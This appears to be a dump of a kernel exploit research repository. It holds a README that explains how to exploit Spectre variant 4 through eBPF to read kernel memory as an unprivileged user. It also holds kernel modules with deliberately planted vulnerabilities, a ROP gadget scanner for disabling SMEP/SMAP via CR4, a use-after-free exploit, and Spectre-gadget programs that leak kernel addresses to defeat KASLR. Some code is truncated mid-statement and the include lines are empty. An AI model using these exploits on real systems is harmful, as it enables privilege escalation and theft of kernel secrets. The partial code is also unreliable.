| r = -1; 117 | break; 118 | } 119 | 120 | return r; 121 | } 122 | 123 | struct file_operations poc_lkm_fops = 124 | { 125 | .owner = THIS_MODULE, 126 | .unlocked_ioctl = poc_lkm_ioctl, 127 | }; 128 | 129 | static int create_poc_lkm_fops(void) 130 | { 131 | proc_create("poc_lkm", 0666, NULL, &poc_lkm_fops); 132 | pr_info("poc_lkm_str : %lx\n", (unsigned long)&poc_lkm_str); 133 | return 0; 134 | } 135 | 136 | static int remove_poc_lkm_fops(void) 137 | { 138 | remove_proc_entry("poc_lkm", NULL); 139 | return 0; 140 | } 141 | 142 | int poc_lkm_init(void) 143 | { 144 | create_poc_lkm_fops(); 145 | return 0; 146 | } 147 | 148 | void poc_lkm_exit(void) 149 | { 150 | remove_poc_lkm_fops(); 151 | return; 152 | } 153 | 154 | module_init(poc_lkm_init); 155 | module_exit(poc_lkm_exit); 156 | MODULE_LICENSE("GPL"); 157 | -------------------------------------------------------------------------------- /CVE-2018-3639/README.md: -------------------------------------------------------------------------------- 1 | # Exploit CVE-2018-3639 with Linux kernel eBPF 2 | 3 | - as knows as. Speculative store bypass, Spectre Variant4 [1] 4 | 5 | - It's to read privileged kernel memory from unprivileged user. (non-root user) 6 | 7 | - It exploits CVE-2018-3639 and eBPF in Linux kernel. 8 | 9 | - Tested on 4.4.0-128-generic #154-Ubuntu kernel. (Ubuntu 16.04), CPU - Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz 10 | 11 | - Tested on 4.4.0-133-generic #154-Ubuntu kernel. (Ubuntu 16.04), CPU - Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz 12 | 13 | - Tested environment includes mitigations against Spectre, Meltdown, and SMEP, SMAP are applied. 14 | 15 | - First exploit code against CVE-2018-3639 is from Google project zero team. [2] 16 | But, the exploit requires additional assumptions such as kernel modification, ... 17 | So, testing the exploit is not easy. 18 | 19 | - I updated the exploit code aginst CVE-2018-3639 to remove additional assumptions. 20 | and It perfectly works on specific Ubuntu kernel. 21 | But, Since this exploit is based on a probabilistic way, It's semi-reliable. 22 | 23 | - Attack strategy and usage are included in exploit code. (poc_non_root.c) 24 | 25 | # What is the most difficult problem on this exploitation? 26 | 27 | - See below vulnerable SSB (Speculative-store-bypass) code pattern. 28 | 29 | ``` 30 | *(fp-72) = victim_addr; 31 | *(fp-144) = fp-72; 32 | *(fp-216) = 0; 33 | ``` 34 | 35 | ``` 36 | (1) ptr = *(fp-144); 37 | (2) *ptr = fp-216; 38 | (3) ptr2 = *(fp-72); 39 | (4) secret = *ptr2; 40 | ``` 41 | 42 | - The goal of attack is to execute (4) instruction to get data from victim_addr. 43 | 44 | - (1) instruction must be performed very slow to achive this attack. 45 | In other words, Attacker should flush fp-144 out from cache. 46 | 47 | - The most difficult problem on this exploitation is the fact that flushing fp-144 is unfeasible. 48 | Cache eviction, Cache line bouncing are not suitable for flushing kernel stack. (fp-144) 49 | 50 | # How to solve the problem? 51 | 52 | - I tried to see the problem in other view. 53 | 54 | - How about trying to exploit patch for Variant 1,2,3? 55 | Especially patch for Variant1 is tightly related to Linux kernel eBPF. 56 | 57 | - Patch for Variant1 have implemented by 2 methods. 58 | - 1) Add barrier (lfence) 59 | - 2) Sanitize index 60 | 61 | - I found "Santize index" doesn't have any point to be exploitable. 62 | But, found "Add barrier (lfence)" have some point to be exploitable!! 63 | 64 | - In other words, Ubuntu kernels which apply lfence patch may be vulnerable on this exploit. 65 | 66 | # Exploit lfence 67 | 68 | - In the case of Ubuntu kernel 4.4.0-128-generic, lfence patch has applied to eBPF subsystem. 69 | The patch adds lfence before all load instruction of eBPF program. 70 | 71 | - Then, SSB code pattern with lfence is as belows. 72 | 73 | ``` 74 | (1) lfence; 75 | (2) ptr = *(fp-144); 76 | (3) *ptr = fp-216; 77 | (4) lfence; 78 | (5) ptr2 = *(fp-72); 79 | (6) lfence; 80 | (7) secret = *ptr2; 81 | ``` 82 | 83 | - The goal of attack is to execute (5), (7) before (2), (3) via out-or-order execution. 84 | 85 | - In according with Intel manual, lfence has some interesting features. 86 | - lfence-1) Instructions following a lfence may be fetched and decoded, but they will not execute until the lfence completes. 87 | - lfence-2) lfence doesn't wait store instruction. 88 | - lfence-3) Loads from weakly-ordered memory types may be performed out-of-order. (Not clear meaning of "weakly-ordered") 89 | 90 | - Then, execute instructions step-by-step. 91 | - (1) lfence; wait prior load instructions, concurrently fetch and decode (2)~(7). 92 | - (5) ptr2 = *(fp-72); It can be executed before (2),(3) via out-of-order and lfence-2), lfence-3). 93 | - (7) secret = *ptr2; It can be executed before (2),(3) via out-of-order and lfence-2), lfence-3). 94 | - (2) ptr = *(fp-144); 95 | - (3) *ptr = fp-216; CPU recognize speculative execution fails, cancel executions. 96 | 97 | - One more interesting result is, 98 | - If victim_addr is in kernel core region or linear region, Attack succeed. 99 | - Buf, If victim_addr is in Module region, Attack failed. 100 | - Why? Not clear yet. I'm just guessing jumping lfence is impossible on different memory region. 101 | - kernel stack (linear) & kernel core (linear) ==> Jumping lfence is possible. 102 | - kernel stack (linear) & kernel module (non-linear) ==> Jumping lfence is impossible. 103 | 104 | # Full steps for exploitation 105 | 106 | - Infer kernel virtual address of user_leak_area. (== kernel_leak_area) 107 | - If an attacker is root, get the address from /proc/self/pagemap. If not, do bruteforcing with Variant4 gadget. 108 | 109 | - Try to leak one bit for victim_addr. 110 | - [user app] 1) flush : flush user_leak_area, It has same meaning to flush kernel_leak_area. 111 | - [eBPF prog] 2) setup-0 : Write 0x00 to dummy stack address for making failed-speculative-execution fall through critical-path-1. 112 | - [eBPF prog] 3) setup-1~3 : Set stack with proper value for exploitation. 113 | - [eBPF prog] 4) critical-path-0 : Get secret bit of victim_addr via Variant4 gadget. 114 | - [eBPF prog] 5) critical-path-1 : If SSB (speculative-store-bypass) doesn't happen, this program always get 0 which is predefined by setup-0. and next, exit directly. 115 | - [eBPF prog] 6) critical-path-2 : Execution-flow can be reached here only if SSB happens, and at the same time, secret bit is 1. Access kernel_leak_area via Variant4 gadget. 116 | - [user app] 7) reload : reload user_leak_area. If above eBPF program reaches critical-path-2, secret bit is 1. Then, attacker can get cache-hit!! 117 | 118 | # References 119 | 120 | - [1] https://en.wikipedia.org/wiki/Speculative_Store_Bypass 121 | - [2] https://www.exploit-db.com/exploits/44695/ 122 | -------------------------------------------------------------------------------- /CVE-2016-0728/lkm/info.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define KERNEL_SEARCH_START (0xffffffff81000000UL) 14 | #define KERNEL_SEARCH_END (0xffffffff81800000UL) 15 | 16 | /* 17 | * Stack pivot candidate 18 | * 19 | * - ffffffff81405ba0 20 | */ 21 | 22 | struct info_test_st { 23 | void (*call_fp)(void *); 24 | char dummy[168]; /* STRUCT_KEY_LEN(176) - 8(call_fp) */ 25 | }; 26 | 27 | struct info_arg { 28 | void *call; 29 | void *arg1; 30 | }; 31 | 32 | void info_wrapper(void) 33 | { 34 | asm volatile(" \n\ 35 | payload: \n\ 36 | mov %%rax,%%cr4 \n\ 37 | ret \n\ 38 | " ::: ); 39 | } 40 | 41 | void enable_smap(void) 42 | { 43 | asm volatile(" \n\ 44 | movq $0x2407e0,%%rdx \n\ 45 | movq %%rdx,%%cr4 \n\ " ::: ); 46 | } 47 | 48 | static struct info_test_st *tst = NULL; 49 | 50 | static long info_ioctl(struct file *f, unsigned int cmd, unsigned long arg) 51 | { 52 | struct info_arg iarg; 53 | 54 | pr_info("info_ioctl : %d, %lx\n", cmd, arg); 55 | 56 | if (copy_from_user(&iarg, (void *)arg, sizeof(iarg))) { 57 | pr_info("copy_from_user error\n"); 58 | return -EFAULT; 59 | } 60 | 61 | tst = kmalloc(sizeof(struct info_test_st), GFP_KERNEL); 62 | pr_info("addr - tst : %lx\n", (unsigned long)tst); 63 | 64 | //enable_smap(); 65 | 66 | /* sample vulnerability for testing */ 67 | tst->call_fp = iarg.call; 68 | tst->call_fp(iarg.arg1); 69 | return 0; 70 | } 71 | 72 | static struct file_operations info_fops = 73 | { 74 | .owner = THIS_MODULE, 75 | .unlocked_ioctl = info_ioctl, 76 | }; 77 | 78 | static int create_info_fops(void) 79 | { 80 | proc_create("info", 0666, NULL, &info_fops); 81 | pr_info("size info_test_st : %ld\n", sizeof(struct info_test_st)); 82 | return 0; 83 | } 84 | 85 | static int remove_info_fops(void) 86 | { 87 | remove_proc_entry("info", NULL); 88 | return 0; 89 | } 90 | 91 | /* Search stack pivot, ROP gadgets */ 92 | static void search_stack_pivot(void) 93 | { 94 | unsigned long addr; 95 | unsigned char *ptr; 96 | 97 | int xchg_eax_esp_ret = 0; 98 | int pop_rdi_ret = 0; 99 | int mov_eax_dword_ptr_rdi_ret = 0; 100 | int pop_rcx_ret = 0; 101 | int pop_rax_ret = 0; 102 | int mov_rax_cr4_ret = 0; 103 | int jmp_rcx = 0; 104 | int nop_ret = 0; 105 | 106 | for (addr = KERNEL_SEARCH_START; addr < KERNEL_SEARCH_END - 6; addr += 1) { 107 | ptr = (unsigned char *)addr; 108 | 109 | if (ptr[0] == 0x94 && ptr[1] == 0xc3 && xchg_eax_esp_ret == 0) { 110 | pr_info("xchg_eax_esp_ret : %lx\n", addr); 111 | xchg_eax_esp_ret = 1; 112 | continue; 113 | } 114 | if (ptr[0] == 0x5f && ptr[1] == 0xc3 && pop_rdi_ret == 0) { 115 | pr_info("pop_rdi_ret : %lx\n", addr); 116 | pop_rdi_ret = 1; 117 | continue; 118 | } 119 | if (ptr[0] == 0x89 && ptr[1] == 0x07 && ptr[2] == 0xc3 && mov_eax_dword_ptr_rdi_ret == 0) { 120 | pr_info("mov_eax_dword_ptr_rdi_ret : %lx\n", addr); 121 | mov_eax_dword_ptr_rdi_ret = 1; 122 | continue; 123 | } 124 | if (ptr[0] == 0x59 && ptr[1] == 0xc3 && pop_rcx_ret == 0) { 125 | pr_info("pop_rcx_ret : %lx\n", addr); 126 | pop_rcx_ret = 1; 127 | continue; 128 | } 129 | if (ptr[0] == 0x58 && ptr[1] == 0xc3 && pop_rax_ret == 0) { 130 | pr_info("pop_rax_ret : %lx\n", addr); 131 | pop_rax_ret = 1; 132 | continue; 133 | } 134 | if (ptr[0] == 0x0f && ptr[1] == 0x22 && ptr[2] == 0xe0 && ptr[3] == 0xc3 && mov_rax_cr4_ret == 0) { 135 | pr_info("mov_rax_cr4_ret : %lx\n", addr); 136 | mov_rax_cr4_ret = 1; 137 | continue; 138 | } 139 | if (ptr[0] == 0xff && ptr[1] == 0xe1 && jmp_rcx == 0) { 140 | pr_info("jmp_rcx : %lx\n", addr); 141 | jmp_rcx = 1; 142 | continue; 143 | } 144 | if (ptr[0] == 0x90 && ptr[1] == 0xc3 && nop_ret == 0) { 145 | pr_info("nop_ret : %lx\n", addr); 146 | nop_ret = 1; 147 | continue; 148 | } 149 | } 150 | } 151 | 152 | //static void dump_key_revoke(void) 153 | static void dump_kernel(unsigned char *start, unsigned char *end) 154 | { 155 | /* We have to know which register is used to store revoke() */ 156 | /* It's to calculate perfect fake stack location */ 157 | //unsigned char *key_revoke = (unsigned char *)0xffffffff812c91f0UL; 158 | //unsigned char *key_revoke_end = (unsigned char *)0xffffffff812c97c0UL; 159 | unsigned char *ptr; 160 | 161 | for (ptr = start; ptr < end - 16; ptr += 16) { 162 | pr_info("%02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x\n", 163 | ptr[0], ptr[1], ptr[2], ptr[3], ptr[4], ptr[5], ptr[6], 164 | ptr[7], ptr[8], ptr[9], ptr[10], ptr[11], ptr[12], ptr[13], ptr[14], ptr[15]); 165 | } 166 | } 167 | 168 | static int info_init(void) 169 | { 170 | struct key k; 171 | struct key_type kt; 172 | 173 | pr_info("struct key size : %ld\n", sizeof(k)); 174 | pr_info("offset - uid : %ld\n", (unsigned long)(&k.uid) - (unsigned long)(&k)); 175 | pr_info("offset - gid : %ld\n", (unsigned long)(&k.gid) - (unsigned long)(&k)); 176 | pr_info("offset - perm : %ld\n", (unsigned long)(&k.perm) - (unsigned long)(&k)); 177 | pr_info("offset - flags : %ld\n", (unsigned long)(&k.flags) - (unsigned long)(&k)); 178 | pr_info("offset - type : %ld\n", (unsigned long)(&k.type) - (unsigned long)(&k)); 179 | pr_info("offset - description : %ld\n", (unsigned long)(&k.description) - (unsigned long)(&k)); 180 | pr_info("offset - payload : %ld\n", (unsigned long)(&k.payload) - (unsigned long)(&k)); 181 | pr_info("offset - payload.data : %ld\n", (unsigned long)(&k.payload.data) - (unsigned long)(&k)); 182 | 183 | pr_info("struct msg_msg size : %ld\n", sizeof(struct msg_msg)); 184 | pr_info("struct key_type size : %ld\n", sizeof(kt)); 185 | pr_info("offset - revoke : %ld\n", (unsigned long)&kt.revoke - (unsigned long)(&kt)); 186 | 187 | pr_info("struct sembuf size : %ld\n", sizeof(struct sembuf)); 188 | 189 | create_info_fops(); 190 | search_stack_pivot(); 191 | dump_kernel(0xffffffff81000000UL, 0xffffffff81000100UL); 192 | //dump_key_revoke(); 193 | return 0; 194 | } 195 | 196 | static void info_exit(void) 197 | { 198 | remove_info_fops(); 199 | return; 200 | } 201 | 202 | module_init(info_init); 203 | module_exit(info_exit); 204 | MODULE_LICENSE("GPL"); 205 | -------------------------------------------------------------------------------- /samples/exploit-pipe/poc.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | /* Ubuntu kernel 4.4.0-128 */ 31 | 32 | // We have to use iov count bigger than UIO_FASTIOV, for allocating iovecs in heap. 33 | #define UIO_FASTIOV 8 34 | #define UIO_MAXIOV 1024 35 | #define UIO_IOV_COUNT 10 36 | #define NPROC 256 37 | 38 | struct poc_lkm_size { 39 | char dummy[128]; 40 | }; 41 | struct poc_lkm_object { 42 | unsigned long a1[UIO_IOV_COUNT]; 43 | unsigned long a2[UIO_IOV_COUNT]; 44 | }; 45 | 46 | // Construct Use-After-Free with combination of below commands 47 | #define POC_LKM_IOCTL_MAGIC ('P') 48 | #define POC_LKM_CMD_0 _IOWR(POC_LKM_IOCTL_MAGIC, 0, struct poc_lkm_size) /* Allocate */ 49 | #define POC_LKM_CMD_1 _IOWR(POC_LKM_IOCTL_MAGIC, 1, struct poc_lkm_size) /* Generate 2nd reference */ 50 | #define POC_LKM_CMD_2 _IOWR(POC_LKM_IOCTL_MAGIC, 2, struct poc_lkm_size) /* Free */ 51 | #define POC_LKM_CMD_3 _IOWR(POC_LKM_IOCTL_MAGIC, 3, struct poc_lkm_size) /* Use (Write) */ 52 | #define POC_LKM_CMD_4 _IOWR(POC_LKM_IOCTL_MAGIC, 4, struct poc_lkm_size) /* Print poc_lkm_str */ 53 | 54 | int fd; 55 | unsigned long target_kernel_addr = 0x00; 56 | 57 | // allocate object & generate 2nd reference & free 58 | int alloc_gen_free(void) 59 | { 60 | int r, i; 61 | struct poc_lkm_object uaf_object; 62 | 63 | memset(&uaf_object, 0x70, sizeof(uaf_object)); 64 | 65 | r = ioctl(fd, POC_LKM_CMD_0, &uaf_object); 66 | if (r < 0) { 67 | printf("[-] POC_LKM_CMD_0 failed\n"); 68 | return -1; 69 | } 70 | 71 | r = ioctl(fd, POC_LKM_CMD_1, &uaf_object); 72 | if (r < 0) { 73 | printf("[-] POC_LKM_CMD_1 failed\n"); 74 | return -1; 75 | } 76 | 77 | r = ioctl(fd, POC_LKM_CMD_2, &uaf_object); 78 | if (r < 0) { 79 | printf("[-] POC_LKM_CMD_2 failed\n"); 80 | return -1; 81 | } 82 | 83 | return 0; 84 | } 85 | 86 | void init_uaf_object(struct poc_lkm_object *obj) 87 | { 88 | int i; 89 | 90 | for (i=0; ia1[i] = target_kernel_addr; 93 | obj->a2[i] = target_kernel_addr; 94 | } else { 95 | obj->a1[i] = sizeof(unsigned long); 96 | obj->a2[i] = sizeof(unsigned long); 97 | } 98 | } 99 | } 100 | 101 | int uaf_write(void) 102 | { 103 | int r; 104 | struct poc_lkm_object uaf_object; 105 | 106 | init_uaf_object(&uaf_object); 107 | 108 | r = ioctl(fd, POC_LKM_CMD_3, &uaf_object); 109 | if (r < 0) { 110 | printf("[-] POC_LKM_CMD_3 failed. attack failed.. please retry!!\n"); 111 | return -1; 112 | } 113 | 114 | return 0; 115 | } 116 | 117 | void print_poc_lkm_str(void) 118 | { 119 | int r; 120 | unsigned long arg; 121 | 122 | r = ioctl(fd, POC_LKM_CMD_4, &arg); 123 | if (r < 0) { 124 | printf("[-] POC_LKM_CMD_4 failed\n"); 125 | return -1; 126 | } 127 | } 128 | 129 | void init_iov(struct iovec *iov, unsigned int cnt, char *buf, unsigned int len) 130 | { 131 | int i; 132 | 133 | for (i=0; i\n"); 191 | return -1; 192 | } 193 | 194 | target_kernel_addr = strtoul(argv[1], &stop, 16); 195 | printf("target kernel address : %lx\n", target_kernel_addr); 196 | 197 | fd = open("/proc/poc_lkm", O_RDWR); 198 | if (fd < 0) { 199 | printf("[-] open /proc/poc_lkm failed\n"); 200 | return 0; 201 | } 202 | 203 | init_pipefds(); 204 | 205 | print_poc_lkm_str(); 206 | 207 | // 1. create multiple threads 208 | for (i=0; i= PERF_COUNT_SW_MAX) ==> Bypass this check via speculative execution 16 | // return -ENOENT; 17 | // .... 18 | // .... 19 | // static_key_slow_inc(&perf_swevent_enabled[event_id]); 20 | // ==> Attacker can control event_id. Try to access from here to leak area. 21 | // 22 | // Usage : 23 | // $ gcc -o leak_perf_swevent leak_perf_swevent.c 24 | // $ ./leak_perf_swevent ffffffff821c0400 ffffffff821c0500 25 | // 26 | // Result : 27 | // - Failed to exploit 28 | // - Why? Distance between bound-check-logic and access-logis is too far to be exploited. 29 | // - even though failed to exploit, @event_id should be sanitized for security guarantee. 30 | // 31 | // Contact : 32 | // - Jinbum Park 33 | // 34 | #define _GNU_SOURCE 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | 48 | #define PERF_SWEVENT_ELEM_SIZE (24) 49 | #define MMAP_MIN_ADDR (0x10000UL) 50 | 51 | char *mmap_addr = NULL; 52 | char user_leak_area[4096] __attribute__((aligned(4096))) = {0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0xa0,}; 53 | unsigned long kernel_leak_area; 54 | int pkt_fd; 55 | 56 | long perf_event_open(struct perf_event_attr *hw_event, pid_t pid, 57 | int cpu, int group_fd, unsigned long flags) 58 | { 59 | int r; 60 | 61 | r = syscall(__NR_perf_event_open, hw_event, pid, cpu, 62 | group_fd, flags); 63 | return r; 64 | } 65 | 66 | void user_flush_cacheline(void *arg) 67 | { 68 | asm volatile( 69 | "mov $0, %%eax\n\t" 70 | "cpuid\n\t" /* pleeeease don't do this speculatively :/ */ 71 | "clflush %0" 72 | : "+m" (*(volatile char *)arg) 73 | : /* no inputs */ 74 | : "ax", "bx", "cx", "dx"); 75 | } 76 | 77 | int user_timed_reload(void *arg) 78 | { 79 | int tsc1, tsc2, read_copy; 80 | asm volatile( 81 | "mov $0, %%eax\n\t" 82 | "cpuid\n\t" /* serialize; clobbers eax, ebx, ecx, edx */ 83 | "rdtscp\n\t" /* counter into eax; clobbers edx, ecx */ 84 | "mov %%eax, %0\n\t" 85 | "mov (%3), %%eax\n\t" 86 | "mov %%eax, %2\n\t" 87 | "rdtscp\n\t" /* counter into eax; clobbers edx, ecx */ 88 | "mov %%eax, %1\n\t" 89 | : "=&r"(tsc1), "=&r"(tsc2), "=&r"(read_copy) 90 | : "r"((unsigned int *)arg) 91 | : "ax", "bx", "cx", "dx"); 92 | return tsc2 - tsc1; 93 | } 94 | 95 | void try_speculative(unsigned long index) 96 | { 97 | int i, ret; 98 | struct perf_event_attr pe; 99 | long long count; 100 | int fd; 101 | 102 | memset(&pe, 0, sizeof(struct perf_event_attr)); 103 | pe.type = PERF_TYPE_SOFTWARE; 104 | pe.size = sizeof(struct perf_event_attr); 105 | pe.config = PERF_COUNT_SW_CONTEXT_SWITCHES; 106 | pe.disabled = 1; 107 | pe.exclude_kernel = 1; 108 | pe.exclude_hv = 1; 109 | 110 | // mistraining 111 | for (i=0; i<128; i++) { 112 | fd = perf_event_open(&pe, 0, -1, -1, 0); 113 | if (fd < 0) { 114 | printf("perf_event_open error\n"); 115 | exit(0); 116 | } 117 | close(fd); 118 | } 119 | 120 | // speculative 121 | pe.config = index; 122 | fd = perf_event_open(&pe, 0, -1, -1, 0); 123 | if (fd < 0) { 124 | //printf("perf_event_open error - speculative\n"); 125 | } else { 126 | close(fd); 127 | } 128 | } 129 | 130 | unsigned long cand_start, cand_end; 131 | unsigned long calc_kernel_vaddr_from_bruteforce(void) 132 | { 133 | int time, i, repeat, hit, max_hit = -1; 134 | unsigned long area, progress = 0; 135 | unsigned long index, offset, ret_addr = 0; 136 | 137 | printf("start bruteforce to get leak_area as kernel virtual address.\n"); 138 | printf("first index : %lx\n", mmap_addr - cand_start); 139 | 140 | for (area=cand_start; area 0) { 154 | printf("Found kernel vaddr!! %lx, %d\n", area, hit); 155 | if (hit > max_hit) { 156 | ret_addr = area; 157 | max_hit = hit; 158 | } 159 | } 160 | 161 | progress++; 162 | if ((progress % (1<<8)) == 0) { 163 | printf("progress : %lx\n", area); 164 | } 165 | } 166 | 167 | return ret_addr; 168 | } 169 | 170 | void pin_cpu(int cpu) 171 | { 172 | cpu_set_t set; 173 | CPU_ZERO(&set); 174 | CPU_SET(cpu, &set); 175 | if (sched_setaffinity(0, sizeof(cpu_set_t), &set)) { 176 | printf("error\n"); 177 | exit(-1); 178 | } 179 | } 180 | 181 | int main(int argc, char **argv) 182 | { 183 | int ret; 184 | unsigned long addr; 185 | 186 | if (argc != 3) { 187 | printf("USAGE: ./poc \n"); 188 | return 0; 189 | } 190 | cand_start = strtoull(argv[1], NULL, 16); 191 | cand_end = strtoull(argv[2], NULL, 16); 192 | 193 | if (mlock(user_leak_area, sizeof(user_leak_area)) != 0) { 194 | printf("mlock error\n"); 195 | return 0; 196 | } 197 | 198 | mmap_addr = mmap(MMAP_MIN_ADDR, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 199 | if (mmap_addr == MAP_FAILED) { 200 | printf("mmap error\n"); 201 | return 0; 202 | } 203 | printf("mmap_addr : %lx\n", (unsigned long)mmap_addr); 204 | if (mlock(mmap_addr, 4096) != 0) { 205 | printf("mlock error\n"); 206 | return 0; 207 | } 208 | pin_cpu(0); 209 | 210 | addr = calc_kernel_vaddr_from_bruteforce(); 211 | printf("perf_swevent_enabled addr : %lx\n", addr); 212 | 213 | out: 214 | munmap(mmap_addr, 4096); 215 | return 0; 216 | } 217 | -------------------------------------------------------------------------------- /exploit-remaining-spectre-gadget/leak_mac_hwsim.c: -------------------------------------------------------------------------------- 1 | // Goal of this attack : 2 | // - Leak address of kernel symbol "hwsim_world_regdom_custom" via exploiting remaining spectre-like gadget. 3 | // - If attacker can get the address, It can be exploited for bypassing security mechanism such as KASLR. 4 | // 5 | // Assumption : 6 | // - This is just PoC to show possibility which exploits remaining spectre-like gadget. 7 | // - So This code requires several assumptions. 8 | // --- No SMAP, No PTI (Page Table Isolation) 9 | // 10 | // Referenced CVE : 11 | // - CVE-2018-8087 12 | // 13 | // Spectre-like gadget in mac80211_hwsim : 14 | // - hwsim_new_radio_nl() in drivers/net/wireless/mac80211_hwsim.c 15 | // if (idx >= ARRAY_SIZE(hwsim_world_regdom_custom)) ==> Bypass this check via speculative execution 16 | // return -EINVAL; 17 | // param.regd = hwsim_world_regdom_custom[idx]; ==> Attacker can control dev_minor. Try to access from here to leak area. 18 | // 19 | // Usage : 20 | // & sudo ./setup_mac_hwsim.sh 21 | // $ gcc -I/usr/include/libnl3 -o leak_mac_hwsim leak_mac_hwsim.c -lnl-3 -lnl-genl-3 22 | // & sudo cat /proc/kallsyms | grep hwsim_world_regdom_custom ==> ffffffffc06f7100 r hwsim_world_regdom_custom [mac80211_hwsim] 23 | // $ sudo ./leak_mac_hwsim ffffffffc06f7100 24 | // mmap_addr : 10000 25 | // family_id : 27 26 | // time : 34 27 | // cache hit! ffffffffc06f7100 is address of hwsim_world_regdom_custom 28 | // 29 | // Contact : 30 | // - Jinbum Park 31 | // 32 | 33 | #define _GNU_SOURCE 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | 54 | #define GENL_HWSIM_FAMILY_NAME "MAC80211_HWSIM" 55 | #define GENL_HWSIM_ATTR_MSG_MAX 20 56 | #define HWSIM_CMD_NEW_RADIO 4 57 | #define HWSIM_CMD_DEL_RADIO 5 58 | #define HWSIM_ATTR_CHANNELS 9 59 | #define HWSIM_ATTR_REG_CUSTOM_REG 12 60 | #define HWSIM_ATTR_RADIO_NAME 17 61 | 62 | #define ARRAY_ELEM_SIZE (8) 63 | #define MMAP_MIN_ADDR (0x10000UL) 64 | 65 | void user_flush_cacheline(void *arg) 66 | { 67 | asm volatile( 68 | "mov $0, %%eax\n\t" 69 | "cpuid\n\t" /* pleeeease don't do this speculatively :/ */ 70 | "clflush %0" 71 | : "+m" (*(volatile char *)arg) 72 | : /* no inputs */ 73 | : "ax", "bx", "cx", "dx"); 74 | } 75 | 76 | int user_timed_reload(void *arg) 77 | { 78 | int tsc1, tsc2, read_copy; 79 | asm volatile( 80 | "mov $0, %%eax\n\t" 81 | "cpuid\n\t" /* serialize; clobbers eax, ebx, ecx, edx */ 82 | "rdtscp\n\t" /* counter into eax; clobbers edx, ecx */ 83 | "mov %%eax, %0\n\t" 84 | "mov (%3), %%eax\n\t" 85 | "mov %%eax, %2\n\t" 86 | "rdtscp\n\t" /* counter into eax; clobbers edx, ecx */ 87 | "mov %%eax, %1\n\t" 88 | : "=&r"(tsc1), "=&r"(tsc2), "=&r"(read_copy) 89 | : "r"((unsigned int *)arg) 90 | : "ax", "bx", "cx", "dx"); 91 | return tsc2 - tsc1; 92 | } 93 | 94 | static void pin_cpu(int cpu) 95 | { 96 | cpu_set_t set; 97 | CPU_ZERO(&set); 98 | CPU_SET(cpu, &set); 99 | if (sched_setaffinity(0, sizeof(cpu_set_t), &set)) { 100 | printf("error\n"); 101 | exit(-1); 102 | } 103 | } 104 | 105 | static int send_msg_to_kernel(struct nl_sock *sock, unsigned int index, int new) 106 | { 107 | struct nl_msg* msg; 108 | int family_id, err = 0, id; 109 | unsigned int custom_reg = index; 110 | int cmd; 111 | 112 | family_id = genl_ctrl_resolve(sock, GENL_HWSIM_FAMILY_NAME); 113 | if(family_id < 0){ 114 | fprintf(stderr, "Unable to resolve family name!\n"); 115 | exit(EXIT_FAILURE); 116 | } 117 | 118 | msg = nlmsg_alloc(); 119 | if (!msg) { 120 | fprintf(stderr, "failed to allocate netlink message\n"); 121 | exit(EXIT_FAILURE); 122 | } 123 | 124 | if (new == 1) 125 | cmd = HWSIM_CMD_NEW_RADIO; 126 | else 127 | cmd = HWSIM_CMD_DEL_RADIO; 128 | 129 | if(!genlmsg_put(msg, NL_AUTO_PID, NL_AUTO_SEQ, family_id, 0, NLM_F_REQUEST, cmd, 1)) { 130 | fprintf(stderr, "failed to put nl hdr!\n"); 131 | err = -ENOMEM; 132 | goto out; 133 | } 134 | 135 | err = nla_put_u32(msg, HWSIM_ATTR_REG_CUSTOM_REG, custom_reg); 136 | if (err) { 137 | fprintf(stderr, "failed to put nl string!\n"); 138 | goto out; 139 | } 140 | 141 | err = nl_send_auto(sock, msg); 142 | if (err < 0) { 143 | fprintf(stderr, "failed to send nl message!\n"); 144 | } 145 | 146 | out: 147 | nlmsg_free(msg); 148 | return err; 149 | } 150 | 151 | static void alloc_nl_sock(struct nl_sock** sock) 152 | { 153 | int family_id, grp_id; 154 | unsigned int bit = 0; 155 | 156 | *sock = nl_socket_alloc(); 157 | if(!*sock) { 158 | fprintf(stderr, "Unable to alloc nl socket!\n"); 159 | exit(EXIT_FAILURE); 160 | } 161 | 162 | nl_socket_disable_seq_check(*sock); 163 | nl_socket_disable_auto_ack(*sock); 164 | 165 | if (genl_connect(*sock)) { 166 | fprintf(stderr, "Unable to connect to genl!\n"); 167 | exit(EXIT_FAILURE); 168 | } 169 | 170 | family_id = genl_ctrl_resolve(*sock, GENL_HWSIM_FAMILY_NAME); 171 | if(family_id < 0){ 172 | fprintf(stderr, "Unable to resolve family name\n"); 173 | exit(EXIT_FAILURE); 174 | } 175 | printf("family_id : %d\n", family_id); 176 | } 177 | 178 | int main(int argc, char** argv) 179 | { 180 | int ret; 181 | unsigned long addr; 182 | struct nl_sock *nlsock = NULL; 183 | char *mmap_addr = NULL; 184 | unsigned long area, index, offset; 185 | int time; 186 | 187 | if (argc != 2) { 188 | printf("USAGE: ./poc \n"); 189 | return 0; 190 | } 191 | area = strtoull(argv[1], NULL, 16); 192 | 193 | mmap_addr = mmap(MMAP_MIN_ADDR, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 194 | if (mmap_addr == MAP_FAILED) { 195 | printf("mmap error\n"); 196 | return 0; 197 | } 198 | printf("mmap_addr : %lx\n", (unsigned long)mmap_addr); 199 | if (mlock(mmap_addr, 4096) != 0) { 